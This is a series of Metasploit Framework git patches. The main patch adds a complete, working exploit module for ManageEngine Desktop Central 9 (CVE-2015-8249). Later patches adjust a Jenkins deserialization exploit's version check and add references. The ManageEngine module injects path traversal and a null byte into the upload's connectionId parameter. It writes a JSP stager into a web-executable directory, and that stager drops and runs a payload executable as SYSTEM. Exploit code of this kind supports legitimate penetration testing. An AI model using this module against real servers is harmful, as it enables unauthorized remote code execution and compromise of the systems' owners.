b/modules/exploits/windows/http/manageengine_connectionid_write.rb new file mode 100644 index 0000000000..4fdd998162 --- /dev/null +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -0,0 +1,210 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'nokogiri' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in ManageEngine Desktop Central 9. When + uploading a 7z file, the FileUploadServlet class does not check the user-controlled + ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to + inject a null bye at the end of the value to create a malicious file with an arbitrary + file type, and then place it under a directory that allows server-side scripts to run, + which results in remote code execution under the context of SYSTEM. + + Please note that by default, some ManageEngine Desktop Central versions run on port 8020, + but older ones run on port 8040. Also, using this exploit will leave debugging information + produced by FileUploadServlet in file rdslog0.txt. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'ManageEngine Desktop Central 9 on Windows', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => "Dec 14 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), + Opt::RPORT(8020) + ], self.class) + end + + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def get_jsp_stager + exe = generate_payload_exe(code: payload.encoded) + jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp" + # pwd: C:\ManageEngine\DesktopCentral_Server\bin + # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf + register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}") + + { + jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname), + jsp_name: jsp_fname + } + end + + def get_build_number(res) + inputs = res.get_hidden_inputs + # The buildNum input is in the first form + inputs.first['buildNum'] + end + + def get_html_title(res) + html = res.body + n = ::Nokogiri::HTML(html) + n.at_xpath('//title').text + end + + def check + uri = normalize_uri(target_uri.path, '/configurations.do') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + unless res + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + build_number = get_build_number(res) + vprint_status("Found build number: #{build_number}") + + html_title = get_html_title(res) + vprint_status("Found title: #{html_title}") + + if build_number <= '91084' + return Exploit::CheckCode::Appears + elsif /ManageEngine Desktop Central/ === html_title + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def upload_jsp(stager_info) + # connectionId is part of the 7z filename + # computerName is part of the 7z filename (but will be used due to the null byte injection) + # customerId is used as a directory name + # + # The intended upload path is: + # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z + # But this will upload to: + # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf + + uri = normalize_uri(target_uri.path, 'fileupload') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => 'application/octet-stream', + 'encode_params' => false, + 'data' => stager_info[:jsp_payload], + 'vars_get' => { + 'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00", + 'resourceId' => Rex::Text.rand_text_alpha(1), + 'action' => 'rds_file_upload', + 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5), + 'customerId' => Rex::Text.rand_text_numeric(rand(10)+5) + } + }) + + if res.nil? + fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}") + elsif res && res.code != 200 + fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.") + end + end + + def exec_jsp(stager_info) + uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? + fail_with(Failure::Unknown, "Connection timed out while executing #{uri}") + elsif res && res.code != 200 + fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}") + end + end + + def exploit + print_status("Creating JSP stager") + stager_info = get_jsp_stager + + print_status("Uploading JSP stager #{stager_info[:jsp_name]}...") + upload_jsp(stager_info) + + print_status("Executing stager...") + exec_jsp(stager_info) + end + +end + From bd8aea26187b62bf62f010d30fbccb24c1ba22d4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 14 Dec 2015 11:25:59 -0600 Subject: [PATCH 101/103] Fix check for jenkins_java_deserialize.rb This fixes the following: * nil return value checks * handle missing X-Jenkins-CLI-Port scenario more properly * proper HTTP path normalization --- .../linux/misc/jenkins_java_deserialize.rb | 58 +++++++++++++++++-- 1 file changed, 54 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index 6478da42f6..c7eec77106 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) register_options([ + OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) @@ -61,19 +62,68 @@ class Metasploit3 < Msf::Exploit::Remote invoke_remote_method(class_load_payload) end + + # This is from the HttpClient mixin. But since this module isn't actually exploiting + # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & + # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + def check result = Exploit::CheckCode::Safe - if vulnerable? - result = Exploit::CheckCode::Vulnerable + begin + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown end result end def vulnerable? - http_headers = send_request_cgi({'uri' => '/'}).headers - if http_headers['X-Jenkins'].to_f <= 1.637 + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out.') + end + + http_headers = res.headers + + unless http_headers['X-Jenkins-CLI-Port'] + vprint_error('The server does not have the CLI port that is needed for exploitation.') + return false + end + + if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end From b25aae3602b3dd504a95149ffd7905a94f2776c0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 14 Dec 2015 12:05:46 -0600 Subject: [PATCH 102/103] Add refs to module See rapid7#6344. --- .../exploits/windows/http/manageengine_connectionid_write.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb index 4fdd998162..e69b65abee 100644 --- a/modules/exploits/windows/http/manageengine_connectionid_write.rb +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -27,12 +27,15 @@ class Metasploit3 < Msf::Exploit::Remote Please note that by default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file rdslog0.txt. + + This exploit was successfully tested on version 9, build 90109 and build 91084. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'References' => [ - [ 'URL', 'http://metasploit.com' ] + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ], + [ 'CVE', '2015-8249'] ], 'Platform' => 'win', 'Targets' => From ee208570a272566e252ef11ad96db9bda382eea6 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 14 Dec 2015 13:22:38 -0600 Subject: [PATCH 103/103] remove bundler 1.10 fingerprint from Gemfile.lock --- Gemfile.lock | 3 --- 1 file changed, 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 079dcbdc59..3ce22521ae 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -246,6 +246,3 @@ DEPENDENCIES simplecov timecop yard - -BUNDLED WITH - 1.10.6